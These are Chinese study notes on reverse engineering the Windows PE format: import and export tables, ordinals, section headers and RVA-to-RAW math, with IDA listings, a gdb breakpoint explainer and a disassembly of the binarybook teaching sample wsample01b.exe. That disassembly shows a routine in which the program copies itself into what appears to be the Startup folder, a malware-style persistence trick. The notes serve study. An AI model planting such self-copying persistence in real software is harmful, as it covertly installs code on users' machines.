typedef struct _IMAGE_IMPORT_DESCRIPTOR {
__C89_NAMELESS union {
DWORD Characteristics;
DWORD OriginalFirstThunk;//指向INT数组基地址
} DUMMYUNIONNAME;
DWORD TimeDateStamp;

DWORD ForwarderChain;
DWORD Name;//动态库名称,注意不是函数名称
DWORD FirstThunk;//指向IAT数组基地址
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

下面根据权威指南中给出PE装载器导入函数的步骤,跟踪观察一下

1.读取IID的Name成员,获取库名称

image-20220712130001523

以ImportDescriptor[0]为例,其Name成员指向RVA=71A4,用ida观察0x10071A4这个位置

1
.text:010071A4 aComdlg32Dll    db 'comdlg32.dll',0     ; DATA XREF: .text:01006D2C↑o

确实是comdlg32.dll字符串

2.LoadLibrary("comdlg32.dll"),返回值是comdlg32.dll库的句柄,该句柄将会用于库中查函数

3.读取IID的OriginalFiristThunk成员,获取INT表地址

image-20220712130506645

OriginalFiristThunk=0x7088h,用ida观察0x1007088这个位置

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:01007088 ;
.text:01007088 ; Import names for comdlg32.dll
.text:01007088 ;
.text:01007088 off_1007088 dd rva word_1007172 ; DATA XREF: .text:__IMPORT_DESCRIPTOR_comdlg32↑o
.text:0100708C dd rva word_1007156
.text:01007090 dd rva word_1007196
.text:01007094 dd rva word_1007148
.text:01007098 dd rva word_1007134
.text:0100709C dd rva word_1007182
.text:010070A0 dd rva word_1007162
.text:010070A4 dd rva word_100710C
.text:010070A8 dd rva word_100711C
.text:010070AC dd 0

ida也给出了注释"comdlg32.dll库需要导入函数的名称",

需要注意的是INT表的最后一项是0,也就是NULL,它的作用是判断INT表是否结束

4.对于INT表的第i项,

第0项就是.text:01007088 off_1007088 dd rva word_1007172

第1项就是.text:0100708C dd rva word_1007156

...

根据_IMAGE_IMPORT_BY_NAME结构体的Name值,PE装载器调用GetProcAddress(<动态库句柄>,"<函数名>")获取该名称对应函数的地址(此地址为在整个进程虚拟地址空间中的地址,也就是绝对虚拟地址,不是相对于动态库基址的偏移量)

比如其中word_1007172指向一个_IMAGE_IMPORT_BY_NAME结构体

1
2
.text:01007172 word_1007172    dw 0Fh                  ; DATA XREF: .text:off_1007088↑o
.text:01007174 db 'PageSetupDlgW',0

Hint=0Fh

Name="PageSetupDlgW",一个函数名

然后PE装载器调用GetProcAddress(comdlg32.dll句柄号,"PageSetupDlgW");就获得了该函数的虚拟地址

5.根据IID的FirstThunk成员,获取对应IAT表地址

image-20220712131357758

comdlg32.dll的FirstThunk=12A0,用ida观察0x10012A0这个地址

1
2
3
4
5
6
7
8
9
10
.idata:010012A0 ; Imports from comdlg32.dll
.idata:010012A0 ;
.idata:010012A0 ; BOOL __stdcall PageSetupDlgW(LPPAGESETUPDLGW)
.idata:010012A0 extrn PageSetupDlgW:dword
.idata:010012A0 ; CODE XREF: NPCommand(x,x,x)+29F↓p
.idata:010012A0 ; GetPrinterDCviaDialog()+2C↓p ...
.idata:010012A4 ; HWND __stdcall FindTextW(LPFINDREPLACEW)
.idata:010012A4 extrn FindTextW:dword ; CODE XREF: NPCommand(x,x,x)+471↓p
.idata:010012A4 ; DATA XREF: NPCommand(x,x,x)+471↓r
...

每项占4个字节,也就是一个int,一个指针类型,显然要写入一个函数地址

6.将4中获取到的PageSetupDlgW的地址写到5中的相应IAT表项中去

假设PageSetupDlgW的地址为0x12345678,四个字节,写到.idata区的0x10012A0开始的四个字节

地址 数据
0x10012A0 0x78
0x10012A1 0x56
0x10012A2 0x34
0x10012A3 0x12

小端模式

这里PageSetupDlgW的地址是我们假设的GetProcAddress的返回值,其实际值可以用ollydbg动态调试观察

image-20220712132332297

实际上PageSetupDlgW被装载在进程虚拟地址空间的0x503D5A75.

7.重复4-6直到遭遇INT最后一项0

到此貌似了解了整个库函数符号解析的过程,回忆整个过程

编译器和链接器不会解析动态库的符号,

在text节正文代码上call的是ds:[库函数名],实际上是call这个地址上存放的地址,

ds:[库函数名]是.idata区的IAT表,每个IAT条目四个字节,将来要存放一个实际的库函数地址

编译器和链接器会记录没有解析的外部符号,放到DataDirectory[1]指向的_IMAGE_IMPORT_DESCRIPTOR数组中,

每一个需要导入的库都在本数组中建立一个表项,每个表项记录要装载哪个库(Name),还有要装载这个库的哪些函数(指向_IMAGE_IMPORT_BY_NAME数组即INT表的指针).还有哪个地方需要解析这个库里的函数(指向.idata段IAT表基址的指针)

每个INT表表项都要记录,要装载哪个函数,该函数的Hint

但是但是,PE装载器是怎么从DLL库中找到函数地址的呢?

符号解析可以分为三个阶段

1.编译时

编译器负责将本文件中的引用解析到本文件中的实现,比如

1
2
3
4
5
6
7
void func();
void main(){
func();
}
void func(){
//do something...
}

main前面这个func就是一个引用,它的作用是给编译器说,有这么一个func函数,但只是有,func具体干了啥,编译器不知道.

编译器会首先发现第一行的引用,然后在本文件中找实现,显然可以找到实现,于是就有了func的PC相对地址,再main中调用func时就可以

汇编成call 相对地址的格式

这个引用是必须的,去掉之后会发生意想不到的运行时错误

比如

1
2
3
4
5
6
7
// void func();
void main(){
int a=func();
}
void func(){
//do something...
}

这样可以通过编译,但是显然func没有返回值.提前声明void func();再编译会直接编译报错.

2.链接时

一个模块可能会引用其他模块中的符号,比如全局变量或者函数

比如下面这个程序

1
2
3
4
5
6
extern int other;
void func();
int main(){
int a=other;
func();
}

编译器发现other是个外部符号,func虽然没有表明extern但是本模块中找不到实现.

而编译器只负责将一个一个孤立的模块编译,将他们链接起来不是编译器的事,

于是编译器就为other和func都生成一个符号链接表项,把这个皮球踢给链接器完成

链接器首先进行符号解析,它会遍历每个模块,每找到一个全局符号就看看符号链接表中有没有他的引用,有则这个引用就可以落地.全遍历一遍之后还有不能解析的引用则报链接错

符号解析完毕之后就是重定位,将多个参与链接的目标模块合并成一个大目标模块

3.运行时

这就是IAT或者说GOT,PLT发挥作用的时候

DataDirectory[0]=Export
image-20220714145105577

类比DataDirectory[1]导入表,导入表的作用是将动态库中的函数导入

那么导出表就应该把本模块中的函数向外导出,提供给其他模块使用,也就是本模块作为动态库

notepad.exe是一个引用程序,显然不是动态库,自然没有导出的函数,那么DataDirectory[0]就是个空记录

image-20220712142026145

可以通过观察kernel32.dll动态库,了解Export表怎么干活

notepad.exe和kernel32.dll都是直接从windowsXP虚拟机的C:/Windows/System32下面拽出来的

notepad.exe和kernel32.dll的整体对比

image-20220712145612859

导出表ExportDir至多有一个,但是导入表可以有多个

因为一个应用程序可能需要多个动态库支持,而一个动态库只需要一个导出表导出自身函数

kernel32.dll

1
2
3
4
5
6
7
PE头
NT头
可选头
数据目录表[0]=Export表
->AddressOfFunctions
->AddressOfNames
->AddressOfNameOrdinals
image-20220714223418977

两个表项,分别是相对虚拟地址0x22140h和十进制表示的大小27016

由于ImageBase为0x77e40000h,因此实际虚拟地址就是0x77e62140

image-20220714144520852

如果使用ida就观察0x77e62140这个位置

如果使用010editor就观察0x21540这个位置

这个位置就是IMAGE_EXPORT_DIRECTORY结构体的起始地址,这个结构体是干啥的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;//该文件编译完成的事件
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;//库名
DWORD Base;
DWORD NumberOfFunctions;//库函数的个数
DWORD NumberOfNames;//有名字的库函数的个数
DWORD AddressOfFunctions;//
DWORD AddressOfNames;//函数名称数组地址
DWORD AddressOfNameOrdinals;//名称顺序表地址
} IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;

NumberOfFunctions和NumberOfNames,在kernel32.dll中数量相同,都是928,也就是说导出了928个函数,每个函数都有名字

image-20220714152432702

这就很奇怪了,

一是为啥函数要有名字?

二是,为啥每个函数都有名字了还要记录一个名字数量和一个函数数量,两个不相同吗?

可执行目标文件exe中,确实不需要函数有名字,要调用函数,只需要call 函数地址.函数名字就是一个写源代码时的助记符

但是库文件不一样,库需要为别的exe文件或者库提供支持.

动态库在exe装载时才会映射进入进程虚拟地址空间,然后进行动态链接.

我们已经在自己的模块源代码中写了"MessageBox"这种动态库中的函数符号,显然静态解析解决不了这个符号.

那么动态链接的时候怎么解析这个事情呢?

我的想法是,在exe中保留需要调用的库函数的名字,在dll中导出库函数的名字,并且和地址挂钩.动态链接器在解析exe中动态库函数名字时,就像查字典一样,exe中看一眼,要解析MessageBox,再去dll中遍历所有[库函数名,地址]键值对,查到就把地址写到exe的相应位置.

但是如果库函数很多,库函数名很长,匹配库函数名还是字符串匹配,那么遍历库函数表的效率会很低.并且这样做完全没有必要

可以给每个函数编一个号,比如MessageBox编号1,MessageBoxW编号2,以此类推,这就好比建立了一个协议,exe需要一个一号函数,动态解析器就去dll库中索要1号函数,dll库和exe都知道1号函数是MessageBox.而动态链接器相当于中间信道,它没必要知道MessageBox->1->MessageBox这个过程

而实际上人家是怎么解决这个问题的呢?

回顾notepad.exe导入表的情形,_IMAGE_IMPORT_BY_NAME有两个成员,

第一个Hint,就是函数编号.

第二个,Name,函数名

image-20220714152202138

和它门当户对的ExportByName是啥样的呢?只记住了一个函数名

image-20220714152703198

奇怪了,ExportByName比ImportByName少一个Hint成员,这是为啥呢?

观察一下notepad.exe的ImportByName[0]:

image-20220714152850743

这里Hint是489,这不禁让人浮想联翩,这个数是怎么来的呢?

会不会是ExportByName数组的下标?回家看看吧

image-20220714152949332

还真是,ImportByName[0].Hint就是GlobalUnlock函数在ExportByName中的下标

显然在notepad.exe这种应用程序中使用函数名Name或者函数下标Hint导入动态库的函数都可以达到链接目的

到此貌似就了解了动态链接干活的过程,然而还有两个问题没有解决,

1.为啥NumberOfNames和NumberOfFunctions值相同,但是要记两个

2._IMAGE_EXPORT_DIRECTORY的AddressOfNameOrdinals成员貌似还没有发挥作用

核心原理给出的动态链接器的工作过程:

1.动态链接器从exe的ImportByName[x]拿到函数名Name

2.动态链接器遍历dll的ExportByName[]数组,用Name匹配每一项的函数名

3.如果匹配到,记录此时在ExportByName中的下标i

4.用i去查dll的AddressOfNameOridinals指向的数组,用刚才得到的下标i作为下标查AddressOfNameOridinals数组,得到AddressOfNameOridinals[i]=INDEX,这是下标

5.用新下标INDEX(AddressOfNameOridinals[i])去查AddressOfFunctions,得到AddressOfFunctions[INDEX]得到Name函数的相对虚拟地址

如果按照之前认为的hint就是函数下标的方法,那么这个想象的过程应该是

1.动态链接器从exe的ImportByName[x]拿到函数名Name

2.动态链接器遍历dll的ExportByName[]数组,用Name匹配每一项的函数名

3.如果匹配到,记录此时在ExportByName中的下标i

4.用下标i去查AddressOfFunctions,得到AddressOfFunctions[i]得到Name函数的相对虚拟地址

而实际的方法多查了一个AddressOfNameOridinals表,这是为啥呢?

还又得回到NumberOfFunction和NumberOfName,这俩值一定一样吗?

重新考虑动态库的导出函数一定要有名字吗?

如果exe能够根据ImportByName.hint找到该函数,完全可以不用名字

那么动态库导出的函数就可以有匿名函数.

这时匿名函数就不能使用ExportByName机制了,因为它根本没名字.

如果每个函数都有名字,那么显然AddressOfNameOrdinals,AddressOfFunctions,AddressOfNames都有相同数量的表项

如果有一个匿名函数,那么AddressOfNames就得少一项.

AddressOfFunctions数组啃腚记载了所有数组的地址,包括匿名的和有名的

AddressOfNameOrdinals从名字上看,名称序列,它实际完成了一个下标转换.一个有名字的函数,在所有函数中的下标是多少

而AddressOfNames是记录,一个函数名对应的下标是多少

整个映射过程是这样的:

1
2
3
4
5
函数名	->查AddressOfNames->函数在AddressOfNames中的下标
->查AddressOfNameOrdinals->函数在所有库函数中的下标
->查AddressOfFunctions->函数相对虚拟地址

匿名函数在所有库函数中的下标->查AddressOfFunctions->函数相对虚拟地址

那么AddressOfNameOrdinals的项数应该和AddressOfNames相同,有多少个具名函数,ordinal就得提供多少个映射服务

用ida观察kernel32.dll的AddressOfOrdinals表,由于所有函数具名,因此AddressOfOrdinals实际上完成了一个\(f(x)=x\)的映射,

第一个具名函数就是kernel32中所有函数的第一个函数

第n个具名函数就是kernel32中所有函数的第n个函数

1
2
3
4
5
6
7
8
9
10
11
.text:77E63E68 ; Export Ordinals Table for KERNEL32.dll
.text:77E63E68 ;
.text:77E63E68 byte_77E63E68 db 2 dup(0), 1, 0, 2, 0, 3, 0, 4, 0, 5, 0, 6, 0, 7, 0
.text:77E63E68 ; DATA XREF: .text:77E62164↑o
.text:77E63E68 db 8, 0, 9, 0, 0Ah, 0, 0Bh, 0, 0Ch, 0, 0Dh, 0, 0Eh, 0
.text:77E63E68 db 0Fh, 0, 10h, 0, 11h, 0, 12h, 0, 13h, 0, 14h, 0, 15h
.text:77E63E68 db 0, 16h, 0, 17h, 0, 18h, 0, 19h, 0, 1Ah, 0, 1Bh, 0, 1Ch
.text:77E63E68 db 0, 1Dh, 0, 1Eh, 0, 1Fh, 0, 20h, 0, 21h, 0, 22h, 0, 23h
.text:77E63E68 db 0, 24h, 0, 25h, 0, 26h, 0, 27h, 0, 28h, 0, 29h, 0, 2Ah
.text:77E63E68 db 0, 2Bh, 0, 2Ch, 0, 2Dh, 0, 2Eh, 0, 2Fh, 0, 30h, 0, 31h
.text:77E63E68 db 0, 32h, 0, 33h, 0, 34h, 0, 35h, 0, 36h, 0, 37h, 0, 38h

显然对于一个所有函数都具名的动态库kernel32,AddressOfNameOrdinals是纯纯的five.

但是总是得照顾一些搞特殊的动态库

AddressOfFunctions又叫EAT,export address table

节区头表

节区头表,或者叫做"节头表",实际上是节区头结构体数组

数组的每个元素都是一个节区头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;

Name[IMAGE_SIZEOF_SHORT_NAME]

节区名称,其中#define IMAGE_SIZEOF_SHORT_NAME 8,即名称最长不得超过8字节

image-20220711212317715

010editor给出的注释是"可以不以0结尾",这与我们平时使用的字符串以'\0'结尾不同

原因是Name无足轻重,机器不关心节叫啥,只关心节的排列顺序

PhysicalAddress&VirtualSize

哥俩生异型啊,连体婴儿是吧

1
2
3
4
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
VirtualAddress

节在进程加载进入虚拟地址空间之后的相对虚拟地址

SizeOfRawData

节大小

根据相对虚拟地址和节大小就可以确定节在虚存中的范围

image-20220714233554055

在notepad.exe中VirtualAddress=1000h,则绝对虚拟地址就是1001000,

大小是6E00h,则节的范围就是0x1001000h~0x1007E00h

这个范围中,最开始是.idata节,然后是.text节

PointerToRawData

节在磁盘文件中的起始地址

PointerToRelocations

重定位使用,在exe中该值无用,在可重定位目标模块.

obj中该值指向IMAGE_RELOCATION 结构体,重定位要用

具体怎么重定位,需要学习核心原理第16章

PointerToLinenumbers

行号表指针,调试使用

NumberOfRelocations

obj中该值作为下标,指向重定位表对应该节的表项

Characteristics

枚举值,节属性,起保护作用,多个属性则按位或

Flag Meaning
0x00000000 Reserved.
0x00000001 Reserved.
0x00000002 Reserved.
0x00000004 Reserved.
IMAGE_SCN_TYPE_NO_PAD0x00000008 The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES.
0x00000010 Reserved.
IMAGE_SCN_CNT_CODE0x00000020 The section contains executable code.
IMAGE_SCN_CNT_INITIALIZED_DATA0x00000040 The section contains initialized data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA0x00000080 The section contains uninitialized data.
IMAGE_SCN_LNK_OTHER0x00000100 Reserved.
IMAGE_SCN_LNK_INFO0x00000200 The section contains comments or other information. This is valid only for object files.
0x00000400 Reserved.
IMAGE_SCN_LNK_REMOVE0x00000800 The section will not become part of the image. This is valid only for object files.
IMAGE_SCN_LNK_COMDAT0x00001000 The section contains COMDAT data. This is valid only for object files.
0x00002000 Reserved.
IMAGE_SCN_NO_DEFER_SPEC_EXC0x00004000 Reset speculative exceptions handling bits in the TLB entries for this section.
IMAGE_SCN_GPREL0x00008000 The section contains data referenced through the global pointer.
0x00010000 Reserved.
IMAGE_SCN_MEM_PURGEABLE0x00020000 Reserved.
IMAGE_SCN_MEM_LOCKED0x00040000 Reserved.
IMAGE_SCN_MEM_PRELOAD0x00080000 Reserved.
IMAGE_SCN_ALIGN_1BYTES0x00100000 Align data on a 1-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_2BYTES0x00200000 Align data on a 2-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_4BYTES0x00300000 Align data on a 4-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_8BYTES0x00400000 Align data on a 8-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_16BYTES0x00500000 Align data on a 16-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_32BYTES0x00600000 Align data on a 32-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_64BYTES0x00700000 Align data on a 64-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_128BYTES0x00800000 Align data on a 128-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_256BYTES0x00900000 Align data on a 256-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_512BYTES0x00A00000 Align data on a 512-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_1024BYTES0x00B00000 Align data on a 1024-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_2048BYTES0x00C00000 Align data on a 2048-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_4096BYTES0x00D00000 Align data on a 4096-byte boundary. This is valid only for object files.
IMAGE_SCN_ALIGN_8192BYTES0x00E00000 Align data on a 8192-byte boundary. This is valid only for object files.
IMAGE_SCN_LNK_NRELOC_OVFL0x01000000 The section contains extended relocations. The count of relocations for the section exceeds the 16 bits that is reserved for it in the section header. If the NumberOfRelocations field in the section header is 0xffff, the actual relocation count is stored in the VirtualAddress field of the first relocation. It is an error if IMAGE_SCN_LNK_NRELOC_OVFL is set and there are fewer than 0xffff relocations in the section.
IMAGE_SCN_MEM_DISCARDABLE0x02000000 The section can be discarded as needed.
IMAGE_SCN_MEM_NOT_CACHED0x04000000 The section cannot be cached.
IMAGE_SCN_MEM_NOT_PAGED0x08000000 The section cannot be paged.
IMAGE_SCN_MEM_SHARED0x10000000 The section can be shared in memory.
IMAGE_SCN_MEM_EXECUTE0x20000000 The section can be executed as code.
IMAGE_SCN_MEM_READ0x40000000 The section can be read.
IMAGE_SCN_MEM_WRITE0x80000000 The section can be written to.

比如notepad.exe中的text节

image-20220714232136762

其中开启了三个标志

节包含代码,节可执行,节可读

其他的都不可,比如节不可写

RVA to RAW

这一部分010editor已经帮我们算好了

可执行文件要运行时,首先要装载进入虚拟内存.

这个映射过程不是简单的找一个ImageBase然后照搬磁盘中的文件到虚拟内存就完了

诚如是则文件中和内存中该文件应该一样大.

而实际上节区有各种对齐要求,因此虚拟内存中的文件映像往往更大

image-20220710144537819

notepad.exe的例子上可以看出,PE头部分确实是找一个ImageBase然后原封不动照搬的

image-20220710145018095

文件在磁盘中存放时,基地址是0,搬到内存中假设映像基地址是ImageBase=0x1000000

可想而知,NT头如果在文件中的偏移量是0xE0则映射到进程地址空间中的虚拟地址就是ImageBase+0xE0=0x10000E0

可是后来的节区就得根据对齐要求来了

image-20220710145058360

这个转化关系是什么呢?

权位指南上给出的算法是

image-20220710155642134

我看了好半天没看明白,

原因一是VirtualAddress和书上先前给出的符号意义不同造成了混淆,

二是对符号的定义没有完全理解,

下面复习一下这几个符号的意义并推导这个计算公式

要利用到_IMAGE_SECTION_HEADER头中的PointerToRawData,VirtualAddress,SizeOfRawData这几个值

复习一下这几个值的含义

PointerToRawData:磁盘文件中节区的起始位置,由于文件的起始地址为0,那么PointerToRawData也就是节区基地址相对于0的偏移量,也就是RAW

VirtualAddress(不要被名字迷惑):RVA,即虚拟地址空间中相对于映像基址ImageBase的偏移量

这里一定要区分清楚VirualAddress和VA

VirtualAddress是定义在节头中的成员,实际上表示的是RVA,因为进程不到装载是不知掉其ImageBase在哪里的

VA=RVA+ImageBase=VirtualAddress+ImageBase

SizeOfRawData:本节区的大小

不管是躺在文件中还是站在内存里,SizeOfRawData大小永远不变,即一个节中间不会随便插入空隙

比如对于data节,

PointerToRawData=0x7C00

ImageBase=0x1000000

VA=0x1009000=ImageBase+RVA得到VirtualAddress=RVA=0x9000

那么对于任意一个节区在虚拟内存中的起始地址,减去其节头中的成员VirtualAddress就得到ImageBase,

假设

VA(x),RVA(x)分别表示符号x在虚拟地址空间中的实际地址和相对于ImageBase的偏移量

RAW(x)表示符号x在文件中的偏移量

假设section表示任意节

section.VirtualAddress表示该节节头中的VirtualAddress成员

section.PointerToRawData表示该节节头中的PointerToRawData成员

显然对于节区有

RVA(section)=section.VirtualAddress

RAW(section)=section.PointerToRawData

现在考虑对于任意符号x,给定其虚拟地址空间中的实际地址VA(x),其RVA和RAW怎样计算呢?

ImageBase装载后就知道了,因此可以轻松得到RVA(x)=VA(x)-ImageBase

由于每个节的RVA(section)=section.VirtualAddress也是已知的,该节的大小section.SizeOfRawData也是已知的,那么可以得到

第i个节(假设节按照地址递增编号0到n)section[i]管理的相对虚拟地址范围是

[section.VirtualAddress, section.VirtualAddress+section[i].SizeOfRawData)

如果RVA(x),说明x根本没有落在节区,甚至还没有出PE头,

而前面分析过了,PE头装载进入虚拟内存就是加了一个ImageBase,因此此时RAW(x)=RVA(x)

否则,x落在了节区,需要先判断x落在了哪个节,咋判断呢?

1
2
3
for i in [0,n]
if(RVA(x)>=section[i].VirtualAddress && RVA(x)< section[i].ViritualAddress+section[i].SizeOfRawData)
then x is located in section[i]

这就好比一层楼高3米,我闭着眼爬楼爬了8米,问我现在的位置?

一楼[0,3),二楼[3,6),三楼[6,9)

8在[6,9)这个范围内,因此我在3楼

假设根据刚才的算法,已经知道了x落在section[i],

那么x相对于该节起始位置的偏移量就是RVA(x)-section[i].VirtualAddress

显然在文件中,x相对于其所在节的偏移量也是这个数,这就好比058班的sjf考数据结构时班内考号是4,换个教室考C++时班内考号还是4

因此得到

1
RAW(x)-section[i].PointerToRawData=RVA(x)-section[i].VirtualAddress

移项有

1
RAW(x)=RVA(x)-section[i].VirtualAddress+section[i].PointerToRawData

这就和权威指南给出的公式很像了

image-20220710160314871

上述过程可以总结为:

1.查x落在哪个节区

2.查x相对于该节区的偏移量

3.节区相对于文件基地址的偏移量+x相对于该节区的偏移量=x相对于文件基地址的偏移量

binarybook-chapter1-调试

原来我只会用devc++,调试只会用cout打印变量观察,我就是个傻懒子

调试原理

以gdb调试器为例,参考原来gdb的底层调试原理这么简单 - 知乎 (zhihu.com)

大体意思是:

gbd进程会调用fork函数创建一个子进程,该子进程会调用ptrace函数,让父进程gdb进程托管其所有的信号,然后子进程execv需要调试的程序,

img

如此该程序将完全处在gdb父进程的掌控之下

img

断点的原理:

gbd进程维护一个断点链表,

gdb进程将我们要下断点的指定行保存在断点列表,然后用int 3中断指令替换断点行指令(字节不足则补nop)

当子进程运行到断点处时执行一个int 3指令,操作系统原本应该向该子进程发送一个SIGTRAP指令让其陷入内核,但是这一信号被父进程gdb截胡了

此时子进程中的int 3已经执行过了,eip指向了下一条指令

现在轮到父进程登场了

父进程gdb收到了SIGTRAP指令,发现是子进程的哪一行引起了中断指令,然后去断点链表找到对应行的记录,再给子进程该回去,然后将子进程的eip程序计数器退一步,让子进程重新执行

这么麻烦实现了一个什么功能呢?

子进程会在断点处int 3指令停下等待信号,这就给了父进程趁机读写子进程堆栈和寄存器的机会

IDA pro静态观察wsample01b.exe

例程来自有趣的二进制kenjiaiko/binarybook (github.com)

winmain函数的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00401080 ; int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
.text:00401080 _wWinMain@16 proc near ; CODE XREF: ___tmainCRTStartup+153↓p
.text:00401080
.text:00401080 hInstance = dword ptr 4
.text:00401080 hPrevInstance = dword ptr 8
.text:00401080 lpCmdLine = dword ptr 0Ch
.text:00401080 nShowCmd = dword ptr 10h
.text:00401080
.text:00401080 call sub_401000 ; 上来西安调用函数
.text:00401080 ;
.text:00401085 push 0 ; uType
.text:00401087 push offset Caption ; "MESSAGE" ;Caption在rdata区,offset伪指令取了它的地址
.text:0040108C push offset Text ; "Copied!"
.text:00401091 call ds:GetActiveWindow
.text:00401097 push eax ; hWnd ;eax承载的是GetActiveWindow的返回值,一个窗口句柄,压栈做参数
.text:00401098 call ds:MessageBoxW ;调用MessageBoxW,向屏幕显示对话框
.text:0040109E xor eax, eax ;eax置零
.text:004010A0 retn 10h ;winmain返回值10h
.text:004010A0 _wWinMain@16 endp

暂且不管sub_401000函数干了啥,先看一下后面的win32API干了啥

GetActiveWindow

该函数可以获得与调用线程的消息队列相关的活动窗口的窗口句柄。

函数原型:HWND GetActiveWindow(VOID)

参数:无

返回值:返回值是与调用线程的消息队列相关的活动窗口的句柄。否则,返回值为NULL。

既然GetActiveWindow不需要参数,那么前面三个push压栈是为谁准备的参数呢?

GetActiveWindow调用前后,在主函数中看栈帧没有变化,从栈顶向栈底还是&Text,&Caption,0

然后又将eax压栈,而eax存放的是GetActiveWindow的返回值,一个窗口句柄(如果失败则为NULL)

现在栈上压了四个参数,下面要调用MessageBoxW了

函数原型

1
2
3
4
5
6
int MessageBoxW(
[in, optional] HWND hWnd,
[in, optional] LPCWSTR lpText,
[in, optional] LPCWSTR lpCaption,
[in] UINT uType
);

hWnd:一个窗口句柄

lpText:要在窗口中打印展示的文本

lpCaption:窗口标题

uType:指定对话框的内容和行为

宏定义 意义
MB_OK 0 窗口只有一个OK按钮,默认模式
MB_OKCANCEL 1 窗口有两个按钮,分别是OK和Cancel
MB_ABORTRETRYIGNORE 2 窗口有三个按钮,分别是Abort,Retry,Ignore(放弃,重试,忽略)
MB_YESNOCANCEL 3 窗口有三个按钮,分别是Yes,No,Cancle
MB_YESNO 4 窗口有两个按钮,Yes,No
MB_RETRYCANCEL 5 ...
MB_CANCELTRYCONTINUE 6 ...
... .. ...

还有很多定义好的窗口样式,现在不用管

返回值:int,返回用户点击的按钮号

宏定义 按钮号 按钮
IDOK 1 OK
IDCANCEL 2 Cancel
IDABORT 3 Abort
...

为啥要返回用户点选的按钮号呢?方便程序后续提供用户希望的服务,

比如当用户点选了Ok则确认并提交了一些信息,点选了Cancel则关闭窗口或者取消了一些信息

例程运行之后的窗口是这样的

image-20220707095841614

可以说这个win32窗口啥正事也没干

sub_401000函数的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00401000 sub_401000      proc near               ; CODE XREF: wWinMain(x,x,x,x)↓p
.text:00401000
.text:00401000 Filename = word ptr -2004h
.text:00401000 pszPath = word ptr -1004h
.text:00401000 var_4 = dword ptr -4
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 mov eax, 2004h
.text:00401008 call __alloca_probe
.text:0040100D mov eax, ___security_cookie
.text:00401012 xor eax, ebp
.text:00401014 mov [ebp+var_4], eax
.text:00401017 push 1000h ; nSize
.text:0040101C lea eax, [ebp+Filename]
.text:00401022 push eax ; lpFilename
.text:00401023 push 0 ; hModule
.text:00401025 call ds:GetModuleFileNameW
.text:0040102B lea ecx, [ebp+pszPath]
.text:00401031 push ecx ; pszPath
.text:00401032 push 0 ; dwFlags
.text:00401034 push 0 ; hToken
.text:00401036 push 7 ; csidl
.text:00401038 push 0 ; hwnd
.text:0040103A call ds:SHGetFolderPathW
.text:00401040 push offset String2 ; "\\wsample01b.exe"
.text:00401045 lea edx, [ebp+pszPath]
.text:0040104B push edx ; lpString1
.text:0040104C call ds:lstrcatW
.text:00401052 push 0 ; bFailIfExists
.text:00401054 lea eax, [ebp+pszPath]
.text:0040105A push eax ; lpNewFileName
.text:0040105B lea ecx, [ebp+Filename]
.text:00401061 push ecx ; lpExistingFileName
.text:00401062 call ds:CopyFileW
.text:00401068 mov ecx, [ebp+var_4]
.text:0040106B xor ecx, ebp ; StackCookie
.text:0040106D xor eax, eax
.text:0040106F call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401074 mov esp, ebp
.text:00401076 pop ebp
.text:00401077 retn
.text:00401077 sub_401000 endp

这个函数都干了啥呢?

1
2
.text:00401000                 push    ebp
.text:00401001 mov ebp, esp

winmain函数开端,压栈保存调用者的ebp帧指针,ebp用于winmain函数的帧指针

1
2
.text:00401003                 mov     eax, 2004h
.text:00401008 call __alloca_probe

这里调用了一个__alloca_probe函数,上一行往eax寄存器中存放的2004h是函数参数

这个函数干了啥呢?

call __alloca_probe

理论上函数开端在保存帧指针ebp之后接着就应该esp-xxx,为当前函数开辟栈帧,而在sub_401000中并没有这样的指令,或者说本应该开辟栈空间的指令的地方有一个call __alloca_probe那么这个函数调用是否就起到了开辟栈空间的作用呢?

__alloca_probe

从名字上看,该函数有两部分,一个是allocate,分配,另一个是probe,探针,探针?这个函数上网搜吧,就是找不到一个详细解释

在binary book上,该函数是wsample0._chkstk这个函数就有解释了

MSDN:

_chkstk Routine

Called by the compiler when you have more than one page of local variables in your function.

